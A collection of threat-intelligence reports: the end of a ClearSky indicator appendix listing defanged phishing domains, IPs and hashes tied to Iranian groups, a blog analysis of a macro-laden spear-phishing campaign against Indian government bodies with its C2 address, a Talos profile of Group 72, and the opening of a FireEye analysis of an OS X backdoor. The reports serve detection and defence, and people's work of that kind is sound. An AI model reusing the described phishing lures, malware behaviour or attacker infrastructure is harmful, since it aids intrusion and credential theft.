]ml login-mail[.]account-servicerecovery[.
]com login-mail[.]verify-account[.
]services login-mails[.]account-servicerecovery[.
]com login-mails[.]accounts-service[.
]support login-mails[.]account-support-user[.
]com login-mails[.]verify-account[.
]services login-required[.
]ga login-required[.
]ml login-required[.
]tk logins-mails[.]account-customerservice[.
]com logins-mails[.]account-servicerecovery[.
]com logins-mails[.]accounts-service[.
]support logins-mails[.]accountsservice-support[.
]com logins-mails[.]com-servicecustomer[.
]name logins-mails[.]service-recoveryaccount[.
]com login-webmail[.]accounts-service[.
]support login-webmail[.]account-support-user[.
]com login-webmail[.]verify-account[.
]services logn-micrsftonine-con[.
]ml m[.]com-service[.
]net mail[.]account-google[.
]co mail[.]com-service[.
]net mail[.]google[.]com-customerservice[.
]name mail[.]google[.]com-customerservices[.
]name mail[.]google[.]com-recoveryservice[.
]info mail[.]google[.]com-servicecustomer[.
]bid mail[.]google[.]com-servicescustomer[.
]name mail[.]google[.]mail[.]google[.
]com- servicecustomer[.
]bid mail[.]google[.]www[.]com-servicecustomer[.
]bid mail[.]google[.]www[.]dropbox[.
]com- servicescustomer[.
]name mail[.]group-google[.
]com Page 54 of 59 All rights reserved to ClearSky Cyber Security, 2017 mail[.]mehrnews[.
]info mail[.]orginal-links[.
]com mail[.]yahoo[.]com-servicecustomer[.
]name mail[.]youtube-com[.
]watch mail3[.]google[.]com-servicecustomer[.
]name mail-account-register-recovery[.
]com mailgate[.]youtube-com[.
]watch mailgoogle[.]com-recoveryidentifier[.
]bid mailgoogle[.]com-recoverymail[.
]bid mailgoogle[.]com-recoveryservice[.
]bid mailgoogle[.]com-recoverysuperuser[.
]bid mailgoogle[.]com-recoverysupport[.
]bid mail-google[.]com-servicecustomer[.
]name mailgoogle[.]com-servicerecovery[.
]bid mail-inbox[.]account-support-user[.
]com mail-login[.]account-login[.
]net mail-login[.]accountservice[.
]support mail-login[.]account-servicerecovery[.
]com mail-login[.]service-recoveryaccount[.
]com mail-login[.]verify-account[.
]services mail-macroadvisorypartners[.
]ml mails[.]com-servicerecovery[.
]name mails-account-signin-users-permssion[.
]com mailscustomer[.]recovery-emailcustomer[.
]com mailssender[.
]bid mail-user-permission-sharedaccount[.
]com mail-usr[.]account-support-user[.
]com mail-verify[.]account-support-user[.
]com mail-yahoo[.]com[.
]co market-account-login[.
]net me[.]youtube[.]com-mychannel[.
]bid mehrnews[.
]info messageservice[.
]bid messageservice[.
]club mfacebook[.]login-required[.
]ga microsoft-hotfix[.
]com microsoft-update[.
]bid microsoft-upgrade[.
]mobi microsoft-utility[.
]com msoffice-update[.
]com mx1[.]group-google[.
]com my[.]youtube[.]com-mychannel[.
]bid myaccount-login[.
]net mychannel[.]ddns[.
]net mychannel[.]ddns[.
]net mydrives[.]documents-supportsharing[.
]bid myemails[.]com-recoverysuperuser[.
]name my-healthequity[.
]com mymail[.]com-recoveryidentifiers[.
]bid mymail[.]com-recoverysuperuser[.
]name my-mailcoil[.
]ml mymails[.]com-recoverysuperuser[.
]bid mymails[.]com-recoverysuperuser[.
]name myscreenname[.
]bid news-onlines[.
]info nex1music[.
]ml notification-accountrecovery[.
]com ns1[.]check-yahoo[.
]com ns1[.]com-service[.
]net ns2[.]check-yahoo[.
]com nvidia-support[.
]com nvidia-update[.
]com officialswebsites[.
]info official-uploads[.
]com ogin-mails[.]accounts-service[.
]support onedrive-signin[.
]com onlinedocument[.
]bid onlinedocuments[.
]org onlinedrie-account-permission-verify[.
]com onlineserver[.]myftp[.
]biz online-supportaccount[.
]com orginal-links[.
]com outlook-livecom[.
]bid owa-insss-org-ill-owa-authen[.
]ml paypal[.]com[.]webapp[.]logins-mails[.
]service- recoveryaccount[.
]com paypal[.]com[.]webapp[.]paypal[.]com[.]webapp[. ]
service-recoveryaccount[.
]com paypal[.]com[.]webapp[.
]service- recoveryaccount[.
]com picofile[.
]xyz policy-facebook[.
]com pop[.]group-google[.
]com privacy-facebook[.
]com privacy-gmail[.
]com privacy-yahoomail[.
]com profile[.]facebook[.]accountservice[.
]support profile[.]facebook[.
]notification- accountrecovery[.
]com profile-facebook[.
]co profiles-facebook[.
]com profile-verification[.
]com qet-adobe[.
]com radio-m[.
]cf raykiel[.
]net recoverycodeconfirm[.
]bid recovery-customerservice[.
]com recovery-emailcustomer[.
]com recoverysuperuser[.
]bid register-multiplay[.
]ml reset-login[.]accountservice[.
]support reset-login[.]account-support-user[.
]com reset-login-yahoo-com[.
]account-support- user[.
]com reset-mail[.]account-support-user[.
]com Page 55 of 59 All rights reserved to ClearSky Cyber Security, 2017 reset-mail-yahoo-com[.
]account-support- user[.
]com resets-mails[.]account-support-user[.
]com result2[.]com-servicescustomer[.
]name result2[.]www[.]dropbox[.
]com- servicescustomer[.
]name sadashboard[.
]com saudiarabiadigitaldashboards[.
]com saudi-government[.
]com saudi-haj[.
]com screen-royall-in-corporate[.
]com screen-shotuser-trash-green[.
]com sdfsd[.]screen-royall-in-corporate[.
]com sdfsd[.]screen-shotuser-trash-green[.
]com security-supportteams-mail-change[.
]ga service-accountrecovery[.
]com service-broadcast[.
]com servicecustomer[.
]bid servicelogin-mail[.]account-servicerecovery[.
]com service-logins[.
]net servicemailbroadcast[.
]bid service-recoveryaccount[.
]com set-ymail-user-account-permission- challenge[.
]com shared-access[.
]com shared-login[.
]com shared-permission[.
]com shop[.]account-dropbox[.
]net shorturlbot[.
]club show[.]video-youtube[.
]cf show-video[.
]info slmkhubi[.]ddns[.
]net smstagram[.
]com smtp[.]com-service[.
]net smtp[.]group-google[.
]com smtp[.]youtube-com[.
]watch sports[.]accountservice[.
]support sprinqer[.
]com support[.]account-google[.
]co support-aasaam[.
]bid support-aasaam[.
]com support-accountsrecovery[.
]com support-google[.
]co support-recoverycustomers[.
]com supports-recoverycustomers[.
]com support-verify-account-user[.
]com tadawul[.]com[.
]co tai-tr[.
]com tcp[.]shorturlbot[.
]club team-speak[.
]cf team-speak[.
]ga team-speak[.
]ml teamspeak-download[.
]ml teamspeaks[.
]cf telagram[.
]cf test[.]service-recoveryaccount[.
]com token-ep[.
]com uk-service[.
]org update-checker[.
]net update-driversonline[.
]bid update-driversonline[.
]club update-finder[.
]com update-microsoft[.
]bid updater-driversonline[.
]club update-system-driversonline[.
]bid uploader[.]sytes[.
]net upload-services[.
]com uri[.
]cab us[.]battle[.]net[.]cataclysm[.
]account- logins[.
]com usersettings[.
]cf users-facebook[.
]com users-login[.
]com users-yahoomail[.
]com utc[.]officialswebsites[.
]info utopaisystems[.
]net verify-account[.
]services verify-accounts[.
]info verify-facebook[.
]com verify-gmail[.
]tk verify-your-account-information[.
]users- login[.
]com video[.]yahoo[.]com[.]accountservice[.
]support video[.]yahoo[.]com-showvideo[.
]gq video[.]youtube[.]com-showvideo[.
]ga video-mail[.]account-support-user[.
]com video-yahoo[.]accountservice[.
]support video-yahoo[.]account-support-user[.
]com video-yahoo[.]com[.]accountservice[.
]support video-youtube[.
]cf w3sch00ls[.]hopto[.
]org w3school[.]hopto[.
]org w3schools[.]hopto[.
]org w3schools-html[.
]com watch-youtube[.]org[.
]uk webmaiil-tau-ac-il[.
]ml webmail-login[.]accountservice[.
]support webmail-tidhar-co-il[.
]ml wildcarddns[.]com-service[.
]net windows-update[.
]systems wp[.]com-microsoftonline[.
]club ww2[.]group-google[.
]com ww62[.]group-google[.
]com ww62[.]mx1[.]group-google[.
]com ww92[.]group-google[.
]com xn--googe-q2e[.
]ml Page 56 of 59 All rights reserved to ClearSky Cyber Security, 2017 yahoo[.]com[.]accountservice[.
]support yahoo-proflles[.
]com yahoo-verification[.
]net yahoo-verification[.
]org yahoo-verify[.
]net youetube[.
]ga yourl[.
]bid youttube[.
]ga youttube[.
]gq youtubbe[.
]cf youtubbe[.
]ml youtube[.]com[.]login-account[.
]net youtube[.]com-service[.
]gq youtube-com[.
]watch youtubee-videos[.
]com youtubes[.]accounts[.]com-serviceslogin[.
]com youtuebe[.
]co youtuobe[.]com[.
]co youutube[.
]cf yurl[.
]bid admindoc-viewer.com admindropebox.co adminscreen-royall-in-corporate.com adminscreen-shotuser-trash-green.com anita.jephersongmail.com aryaieirangmail.com aryaieirangmail.com bahra.azadeh88gmail.com cave.detectoryandex.com cave.detectoryandex.com center2016yandex.com chada.martiniyandex.com chada.martiniyandex.com cool.hiramyandex.com customers.mailservicegmail.com customers.noreplyservicegmail.com international.researchmail.com isabella.careyygmail.com isabella.careyygmail.com john.lennonuymail.com jully.martinyandex.com jully.martinyandex.com mails.customerservicesgmail.com martin.switch911gmail.com martin.switch911gmail.com message.intercomgmail.com message.intercomgmail.com nami.rosokigmail.com online.nicyandex.com online.nicyandex.com rich.safeyandex.com rskitmangmail.com sali.rashyandex.com sali.rashyandex.com service.center2016yandex.com service.center2016yandex.com suspended.user.noitificationgmail.com yaffa.hyatt9617gmail.com 107.150.38.19 107.150.60.156 107.150.60.158 107.6.179.131 136.243.108.100 136.243.221.148 136.243.226.189 137.74.131.208 137.74.148.218 144.76.97.61 144.76.97.62 145.239.120.88 149.56.135.42 149.56.201.205 158.255.1.34 164.132.251.217 164.132.29.69 173.208.129.180 173.244.180.131 173.244.180.132 173.244.180.133 173.244.180.134 173.45.108.55 173.90.180.125 178.33.38.128 185.117.74.165 185.141.24.64 185.141.24.66 185.82.202.174 192.99.127.216 194.88.107.63 204.12.207.108 204.12.207.110 204.12.242.84 204.12.242.85 207.244.77.15 207.244.79.143 207.244.79.144 207.244.79.147 207.244.79.148 208.110.73.219 208.110.73.220 208.110.73.221 208.110.73.222 209.190.3.113 209.190.3.114 209.190.3.115 209.190.3.41 Page 57 of 59 All rights reserved to ClearSky Cyber Security, 2017 209.190.3.42 209.190.3.43 213.152.173.198 213.32.11.30 213.32.49.232 217.23.3.158 217.23.5.166 31.3.236.90 31.3.236.91 31.3.236.92 37.220.8.13 46.17.97.240 46.17.97.243 46.17.97.37 46.17.97.40 5.152.202.51 5.152.202.52 5.79.105.153 5.79.105.156 5.79.105.161 5.79.105.165 5.79.69.198 51.254.254.217 51.255.28.57 54.36.217.8 69.30.221.126 69.30.224.244 69.30.224.245 81.171.25.229 81.171.25.232 85.17.172.170 86.105.1.111 91.218.245.251 92.222.206.208 93.158.200.170 93.158.215.50 93.158.215.52 94.23.90.226 00b5d45433391146ce98cd70a91bef08 07fb3f925f8ef2c53451b37bdd070b55 0a3f454f94ef0f723ac6a4ad3f5bdf01 0e3cb289f65ef5faf40fa830ac9b1bf6 1c00fd5e1ddd0226bd854775180fd361 1db12ec1f335ee5995b29dea360514a2 20f2da7b0c482ab6a78e9bd65a1a3a92 253b4f5c6611a4bc9c7f5269b127c8e9 3261d45051542ab3e54fa541f132f899 356439bfb9b2f49858897a22dd85df86 365482f10808ddd1d26f3dc19c41c993 3bb2f304a59255dddc5ef6bb0a32aec7 3edec580845d7ab85fa893afb391fbfb 5e9a458dcdfc9d2ce996081ec87c30e0 5ec9f484603b89f80f351bb88279ebb1 6bd505616e12e3dd7f2287f24f34609f 6cfa579dd1d33c2fa42d85c2472f744c 7df3a83dfcce130c01aabede3cfe8140 7e1cf48d84e503499c9718c50e7a1c52 9c7ae44baf8df000bb614738370d1171 9d0e761f3803889dc83c180901dc7b22 a43b7cc495741248f3647e647f776467 a9117da1cb51adbc88a52a6e3b16a6c4 ae797446710e375f0fc9a33432d64256 af5c01a7a3858bc3712ab69bc673cec4 bd0a6fe7a852fdd61c1da37cf99103d2 be207941ce8a5e212be8dde83d05d38d bfd21f2847c1d7aa0f409ef52ed52e05 c7760dc8f7baf67f80ab549af27df9e9 c96453247ee1ecbd4053da8bbb4cf572 ccaf21e122ca9d2e2397a9e28eb4cc87 d6ea39e1d4aaa8c977a835e72d0975e3 d6fa439f0278babb1edff32d8dc31c59 da1f6a5f2a5564c2131b4a311c55f487 e7dd9b8fe7ae14faad304d139f71b629 e93992f26f224ea53d9bdd9564e8e1c0 edd4011696ddd349575278aed7031a47 f5763b8b796b1c5d04febcc65f853967 f7f9806af42adb80d100e55f35cfa86c f9255e0d492eb20df1e78ccc970b121a fac158623b0e3ed3bea6e24b1795cb95 479e1e02d379ad6c3c7f496d705448fa955b50a1 67bb83bbe82ffa910386216619c5ebf9eecf13e6 6cacf83033fa97f4ac27eb27e4aa265afa4dc51d a2f17906ca39e7f41a8adeea4be5ffb7d1465c4a c5ea8680162d3e8bc3d71c060c15bf224c873f7a d97b13ed0fe3e41b60b9d45b6e7f68c9b6187b96 eac4a47f238ee62661f464a807b3e0b5079b835f ecf9b7283fda023fa37ad7fdb15be4eadded4e06 19c0977fdbc221f7d6567fb268a4ef4cd2a759fcbc1 039a82366978089f080d2 1a24714fd99030bd63804ab96fc2612f148a5f08d1 c2845152c3a0e168600db9 261c5f32abb8801576ce81be2c66bca564a8a28ab 5ea0954bad6bac7071e299b 2c92da2721466bfbdaff7fedd9f3e8334b688a88ee 54d7cab491e1a9df41258f 2db1e2c49ff0792b54d84538c9a420de7aa619602 b66add502e2b6ea7c79fd4b 4fff9cd7f5f4c9048cfaf958a54cc4c4bc14c9fdbfd63 e2c17f79913f0ea8c21 6618051ea0c45d667c9d9594d676bc1f4adadd8cb 30e0138489fee05ce91a9cb 8aff94ceb2fed8ba864df929fbbec3dd82cbd968c5 b2f42971fb756d1ba1ecb6 a86ccf0049be20c105e2c087079f18098c739b86d5 2acb13f1d41f1ccc9f8e1c Page 58 of 59 All rights reserved to ClearSky Cyber Security, 2017 acca9f004a596ea33af65725c2319bf845a442ee9fa 09c511d359df2f632cf4d b0b177d06fb987429f01d937aaa1cbb7c93a69cfae f146b60f618f8ab26fac38 d4375a22c0f3fb36ab788c0a9d6e0479bd19f48349 f6e192b10d83047a74c9d7 d7e1d13cab1bd8be1f00afbec993176cc116c2b233 209ea6bd33e6a9b1ec7a7f d7f2b4188b7c30c1ef9c075891329dbcf8e9b5ebac 1ef8759bc3bb2cf68c586f d84e808e7d19a86bea3862710cae1c45f7291e984 c9857d0c86881812674d4bb e6cd39cf0af6a0b7d8129bf6400e671d5fd2a3797b 92e0fe4a8e93f3de46b716 Page 59 of 59 All rights reserved to ClearSky Cyber Security, 2017 Appendix B - Previous reports about Charming Kitten and Rocket Kitten Rocket Kitten: rocket kitten: a campaign with 9 lives - Check Point Blog38 LONDON CALLING Two-Factor Authentication Phishing From Iran39 Thamar Reservoir  An Iranian cyber-attack campaign against targets in the Middle East40 Rocket Kitten Showing Its Claws: Operation Woolen-GoldFish and the GHOLE campaign41 The Kittens Strike Back: Rocket Kitten Continues Attacks on Middle East Targets42 Increased Use of Android Malware Targeting Journalists43 Iran and the Soft War for Internet Dominance44 Charming Kitten: iKittens: Iranian Actor Resurfaces with Malware for Mac (MacDownloader)45 Fictitious Profiles and WebRTCs Privacy Leaks Used to Identify Iranian Activists46 Freezer Paper around Free Meat47 38 https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf 39 https://citizenlab.ca/2015/08/iran_two_factor_phishing/ 40 http://www.clearskysec.com/thamar-reservoir/ 41https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go- phishing 42  https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/rocket-kitten-continues-attacks-on-middle-east- targets 43 https://iranthreats.github.io/resources/android-malware/ 44 https://iranthreats.github.io/us-16-Guarnieri-Anderson-Iran-And-The-Soft-War-For-Internet-Dominance-paper.pdf 45 https://iranthreats.github.io/resources/macdownloader-macos-malware/ 46 https://iranthreats.github.io/resources/webrtc-deanonymization/ 47 https://securelist.com/freezer-paper-around-free-meat/74503/ https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf https://citizenlab.ca/2015/08/iran_two_factor_phishing/ http://www.clearskysec.com/thamar-reservoir/ https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/rocket-kitten-continues-attacks-on-middle-east-targets https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/rocket-kitten-continues-attacks-on-middle-east-targets https://iranthreats.github.io/resources/android-malware/ https://iranthreats.github.io/us-16-Guarnieri-Anderson-Iran-And-The-Soft-War-For-Internet-Dominance-paper.pdf https://iranthreats.github.io/resources/macdownloader-macos-malware/ https://iranthreats.github.io/resources/webrtc-deanonymization/ https://securelist.com/freezer-paper-around-free-meat/74503/
1 month ago Malware Actors Using NIC Cyber Security Themed Spear Phishing to Target Indian Government Organizations cysinfo.com /malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government- organizations/ This blog post describes an attack campaign where NIC (National Informatics Centre) Cyber Security themed spear phishing email was used to possibly target Indian government organizations.
In order to infect the victims, the attackers distributed spear-phishing email, which purports to have been sent from NICs Incident response team, the attackers spoofed an email id that is associated with Indian Ministry of Defence to send out email to the victims.
Attackers also used the name of the top NIC official in the signature of the email, this is to make it look like the email was sent by a high ranking Government official working at NIC (National Informatics Centre).
Overview of the Malicious Email The attackers spoofed an email id  that associated with Indian Ministry of Defence to send out emails to the victims.
The email was made to look like it was sent from NICs Incident response team instructing the recipients to read the attached documents and to implement the cyber security plan and the signature of the email included the name of the top ranking NIC official.
The email contained two attachments, a PDF document and a malicious word document (NIC-Cyber Security SOP.doc).
The pdf document was a legitimate document which attackers might have downloaded from (http://meity.gov.in/sites/upload_files/dit/files/Plan_Report_on_Cyber_Security.pdf).
The word document attached in the email contained malicious macro code which when enabled, drops a malware backdoor, executes it and then sends the system information to the command and control server (C2 Server) and its also downloads additional components.
From the email (and the attachments shown in the below screenshot) it looks like the goal of the attackers was to infect and take control of the systems of Cyber Security officers who are responsible for managing and implementing security controls on the Government network.
1/9 https://cysinfo.com/malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government-organizations/ http://www.nic.in/ http://meity.gov.in/sites/upload_files/dit/files/Plan_Report_on_Cyber_Security.pdf https://cysinfo.com/wp-content/uploads/2016/11/15.png https://cysinfo.com/wp-content/uploads/2016/11/17a.png https://cysinfo.com/wp-content/uploads/2016/11/2.png https://cysinfo.com/wp-content/uploads/2016/11/3.png https://cysinfo.com/wp-content/uploads/2016/11/4a.png https://cysinfo.com/wp-content/uploads/2016/11/5.png https://cysinfo.com/wp-content/uploads/2016/11/6a.png https://cysinfo.com/wp-content/uploads/2016/11/6b.png https://cysinfo.com/wp-content/uploads/2016/11/6c.png https://cysinfo.com/wp-content/uploads/2016/11/7.png https://cysinfo.com/wp-content/uploads/2016/11/8.png https://cysinfo.com/wp-content/uploads/2016/11/7.png https://cysinfo.com/wp-content/uploads/2016/11/9.png https://cysinfo.com/wp-content/uploads/2016/11/10.png https://cysinfo.com/wp-content/uploads/2016/11/11.png https://cysinfo.com/wp-content/uploads/2016/11/14.png https://cysinfo.com/wp-content/uploads/2016/11/18-1.jpg The email header consisted of ORCPT (Original-Recipient) header, which  had reference to what appears to be a mailer list associated with Indian Ministry of External Affairs, this indicates that the attackers probably wanted to infect the users connected with Indian Ministry of External Affairs either to spy or to take control of their systems.
Analysis of Word Document Containing Malicious Macro Code Once the victim opens the attached word document it prompts the user to enable macro as shown below and the document also contains instruction on how to enable the macros.
If the victim enables the macro content, the malicious code drops the malware sample and exectutes it and it also shows a decoy document containing the instructions and guidelines related to cyber security.
This is to make the user believe that is it indeed a document related to cyber security.
Below are some of the screen shots showing the document that will shown to the user once the macro is enabled.
2/9 The malicious macro code was reverse engineered to understand its capabilities.
The macro code is heavily obfuscated (uses obscure variable/function names to make analysis harder) as shown below.
3/9 The macro code first calls multiple functions to decode the executable content and then it drops the malicious executable (WINWORD.exe) in the Startup directory and then executes the dropped file as shown in the below screen shots.
Once the dropped file is executed by macro code it connects to the command and control server(c2 server) and to conceal the data sent by the malware, it communicates on port 443 (https) as shown below.
The network traffic 4/9 pattern will be discussed in detail later.
Analysis of the Dropped Executable (WINWORD.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server).
This section contains the behavioral analysis of the dropped executable (WINWORD.exe).
The malware when executed creates additional files on the file system, It downloads these files by contacting the C2 server and saves it on the disk.
Since the malware was not allowed to contact the C2 server its not clear about the functionality of these files.
The below screen shots show WINWORD.exe creating an exectuable, VB script and VBE files.
The malware uses WScript.exe to execute the VB scripts.
As mentioned above, malware once executed makes an https connection to the C2 server as shown below.
C2 Communication Pattern Upon execution malware makes an https connection to the url hxxps://webmail[.]duia[.
]in/webmail.php.
The https connection was intercepted and different network communications were determined.
In the first communication it collects and sends the system information of the infected system to the attacker in the 5/9 user-agent field.
The user-agent field contains information about the computer name, username and if the AntiVirus software is installed or not.
The malware sends some information in the post data as well, the post data gives the information about the action that malware will perform.
In the below screen shot notice the system information sent in the user-agent field and also from the post data it can be deduced that the malware downloads an exe file.
Malware uses similar network communication pattern to download additional files (vbs, vbe, cmd, sc, ext, a3x etc).
Once downloaded these files are saved in either LocalAppData\Temp\WindowsUpdates folder or in Temp\WindowsUpdates folder.
During analysis it was determined that the malware used these filenames (MS015-0012.exe, MS015-0012.vbs, MS015-0012.vbe etc.)
to reside in these directories.
Below screen shots shows some of the network communication made by the malware to download files.
C2 Domain Information This section contains details of the C2 domain (webmail[.]duia[.
]in).
Attackers used the DynamicDNS hostname 6/9 (duia is a Dynamic DNS provider) to host the C2 server, this allows the attacker to quickly change the IP address in real time if the malware C2 server infrastructure is unavailable.
The C2 domain currently resolves to an IP address shown below and the same domain was associated with another IP address previously.
Both the IP addresses are associated with hosting providers as shown in the screen shot below 7/9 Indicators Of Compromise The indicators are provided below, so that they can be used by the organizations (Government, Public and  Private organizations)  to detect and investigate this attack campaign.
Dropped Malware Sample: 4dc28faeb77550174b936d9ba97d4679 (WINWORD.exe) Network Indicators Associated with C2: webmail[.]duia[.
]in hxxps://webmail[.]duia[.
]in/webmail.php 95[.]23[.]26[.
]28 185[.]100[.]86[.
]174 Host Indicators: Filenames in the Temp\WindowsUpdates folder:  MS015-0012.exe, MS015-0012.vbs, MS015-0012.vbe Filename WINWORD.exe in the  Startup directory 8/9 Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing email address of Ministry of Defence, they also tried to trick the users to believe the email was sent from NICs incident response team.
To make the attack less suspicious they also used a legitimate PDF document in the attachment and used the name of the top NIC offical in the email signature.
The attackers also hosted the C2 server in a Dynamic DNS provider network.
We believe that such attacker groups are likely working to gain long-term access into Indian Government networks.
With India rapidly moving towards digitization and cashless transactions we believe that more such cyber attacks will continue to target Government, Defence, NGOs and financial institutions.
We have already reported this attack campaign and shared the associated indicators with the Indian CERT and NICs Incident response team.
Follow us on Twitter: monnappa22 cysinfo22 9/9 https://twitter.com/monnappa22 https://twitter.com/cysinfo22 Malware Actors Using NIC Cyber Security Themed Spear Phishing to Target Indian Government Organizations
Threat Spotlight: Group 72 This post is co-authored by Joel Esler, Martin Lee and Craig Williams Everyone has certain characteristics that can be recognised.
This may be a way of walking, an accent, a turn of phrase or a style of dressing.
If you know what to look for you can easily spot a friend or acquaintance in a crowd by knowing what characteristics to look for.
Exactly the same is true for threat actors.
Each threat actor group may have certain characteristics that they display during their attack campaigns.
These may be the types of malware that they use, a pattern in the naming conventions of their command and control servers, their choice of victims etc.
Collecting attack data allows an observer to spot the characteristics that define each group and identify specific threat actors from the crowd of malicious activity on the internet.
Talos security and intelligence research group collects attack data from our various telemetry systems to analyse, identify and monitor threat actors through their different tactics, techniques, and procedures.
Rather than give names to the different identified groups, we assign numbers to the threat actors.
We frequently blog about significant attack campaigns that we discover, behind the scenes we integrate our intelligence data directly into our products.
As part of our research we keep track of certain threat actor groups and their activities.
In conjunction with a number of other security companies, we are taking action to highlight and disrupt the activities of the threat actors identified by us as Group 72.
Group 72 is a long standing threat actor group involved in Operation SMN, named Axiom by Novetta.
The group is sophisticated, well funded, and possesses an established, defined software development methodology.
The group targets high profile organizations with high value intellectual property in the manufacturing, industrial, aerospace, defense, media sectors.
Geographically, the group almost exclusively targets organizations based in United States, Japan, Taiwan, and Korea.
The preferred tactics of the group include watering-hole attacks, spear-phishing, and other web-based tactics.
The tools and infrastructure used by the attackers are common to a number of other threat actor groups which may indicate some degree of overlap.
We have seen similar patterns used in domain registration for malicious domains, and the same tactics used in other threat actor groups leading us to believe that this group may be part of a larger organization that comprises many separate teams, or that different groups share tactics, code and personnel from time to time.
It is possible that Group 72 has a vulnerability research team searching for 0-day vulnerabilities in Windows.
The group is associated with the initial attack campaigns utilising exploits for the following vulnerabilities CVE-2014-0322  and  CVE-2012-4792 .
We have also observed them using SQL injection as http://blogs.cisco.com/author/joelesler http://blogs.cisco.com/author/martinlee/ http://blogs.cisco.com/author/CraigWilliams/ http://www.novetta.com/blog/2014/14/cyber-security-coalition http://tools.cisco.com/security/center/viewAlert.x?alertId32870 http://tools.cisco.com/security/center/viewAlert.x?alertId27711 part of their attacks, and exploits based on  CVE-2012-1889  and CVE-2013-3893.
Frequently the group deploys a remote access trojan (RAT) on compromised machines.
These are used both to steal data and credentials from compromised machines, and to use the machine as a staging post to conduct attacks against further systems on the network, allowing the attackers to spread their compromise within the organization.
Unlike some threat actors, Group 72 does not prefer to use a single RAT as part of their attacks.
We have observed the group to use the following RAT malware: Gh0st RAT (aka Moudoor) Poison Ivy (aka Darkmoon) HydraQ (aka 9002 RAT aka McRAT aka Naid) Hikit (aka Matrix RAT aka Gaolmay) Zxshell (aka Sensode) DeputyDog (aka Fexel)  Using the kumanichi and moon campaign codes Derusbi PlugX (aka Destroy RAT aka Thoper aka Sogu) HydraQ and Hikit, according to our data are unique to Group 72 and to two other threat actor groups.
While their operational security is very good, patterns in their domains can be identified such as seemingly naming domains after their intended victim.
We have observed domains such as companyname.attackerdomain.com and companyacronym.attackerdomain.com.
We have also observed similar patterns in the disposable email addresses used to register their domains.
These slips, among others, allow us to follow their activities.
Intriguingly we have observed the same email address being used in the activities of this and two other threat actor groups.
This may suggest that these three groups are indeed one unit, or possibly hint at shared staff or ancillary facilities.
We will post a follow up with more technical detail in the coming days.
ClamAV names and Snort Signature IDs detecting Group 72 RAT malware: Gh0stRat  Win.
Trojan.
Gh0stRAT, 19484, 27964 PoisonIVY / DarkMoon  Win.
Trojan.
DarkMoon, 7816, 7815, 7814, 7813, 12715, 12724 Hydraq  Win.
Trojan.
HyDraq, 16368, 21304 HiKit  Win.
Trojan.
HiKit, 30948 Zxshell  Win.
Trojan.
Zxshell, 32180, 32181 DeputyDog  Win.
Trojan.
DeputyDog, 28493, 29459 Derusbi  Win.
Trojan.
Derusbi, 20080 http://tools.cisco.com/security/center/viewAlert.x?alertId26148 http://tools.cisco.com/security/center/viewAlert.x?alertId30843 Protecting Users Against These Threats Advanced Malware Protection (AMP) is ideally suited to detect the sophisticated malware used by this threat actor.
CWS or WSA web scanning prevents access to malicious websites, including watering hole attacks, and detects malware used in these attacks.
The Network Security protection of IPS and NGFW have up-to- date signatures to detect malicious network activity by threat actors.
ESA can block spear phishing emails sent by threat actors as part of their campaign.
Tags: APT, malware, Operation SMN, security, SMN, Talos, threats http://www.cisco.com/c/en/us/support/security/amp-firepower-software-license/tsd-products-support-series-home.html http://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html http://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html http://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html http://www.cisco.com/c/en/us/products/security/asa-next-generation-firewall-services/index.html http://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html http://blogs.cisco.com/tag/apt/ http://blogs.cisco.com/tag/malware/ http://blogs.cisco.com/tag/operation-smn/ http://blogs.cisco.com/tag/security-2/ http://blogs.cisco.com/tag/smn/ http://blogs.cisco.com/tag/talos2/ http://blogs.cisco.com/tag/threats/
Forced to Adapt: XSLCmd Backdoor Now on OS X Introduction FireEye Labs recently discovered a previously unknown variant of the APT backdoor XSLCmd  OSX.XSLCmd  which is designed to compromise Apple OS X systems.
This backdoor shares a significant portion of its code with the Windows- based version of the XSLCmd backdoor that has been around since at least 2009.
This discovery, along with other industry findings, is a clear indicator that APT threat actors are shifting their eyes to OS X as it becomes an increasingly popular computing platform.
Across the global threat landscape, there has been a clear history of leveraging (or porting) Windows malware to the Apple OS X platform.
In 2012, AlienVault discovered a document file exploiting an older vulnerability in Microsoft Word that installs a backdoor named MacControl on OS X systems.
The group responsible for those attacks had been targeting Tibetan non-government organizations (NGOs).
It was later discovered that the code for this backdoor was borrowed from an existing Windows backdoor, whose source code can be found on several Chinese programming forums.
In 2013, Kaspersky reported on a threat actor group they named IceFog that had been attacking a large number of entities related to military, mass media, and technology in South Korea and Japan.
This group developed their own backdoor for both Windows and OS X.
And just this year, Kaspersky published a report on a group they named Careto/Mask that utilized an open source netcat-like project designed to run on nix and Windows systems named sbd which they wrapped in a custom built installer for OS X.
Based on our historical intelligence, we believe the XSLCmd backdoor is used by APT, including a group that we call GREF.
We track this threat group as GREF due to their propensity to use a variety of Google references in their activities  some of which will be outlined later in this report.
Our tracking of GREF dates back to at least the 2009 timeframe, but we believe they were active prior to this time as well.
Historically, GREF has targeted a wide range of organizations including the US Defense Industrial Base (DIB), electronics and engineering companies worldwide, as well as foundations and other NGOs, especially those with interests in Asia.
XSLCmd for OS X Analysis The XSLCmd backdoor for OS X was submitted to VirusTotal (MD5: 60242ad3e1b6c4d417d4dfeb8fb464a1) on August 10, 2014, with 0 detections at the time of submission.
The sample is a universal Mach-O executable file supporting the PowerPC, x86, and x86-64 CPU architectures.
The code within contains both an installation routine that is carried out the first time it is executed on a system, and the backdoor routine which is carried out after confirming that its parent process is launchd (the initial user mode process of OS X that is responsible for, amongst other things, launching daemons).
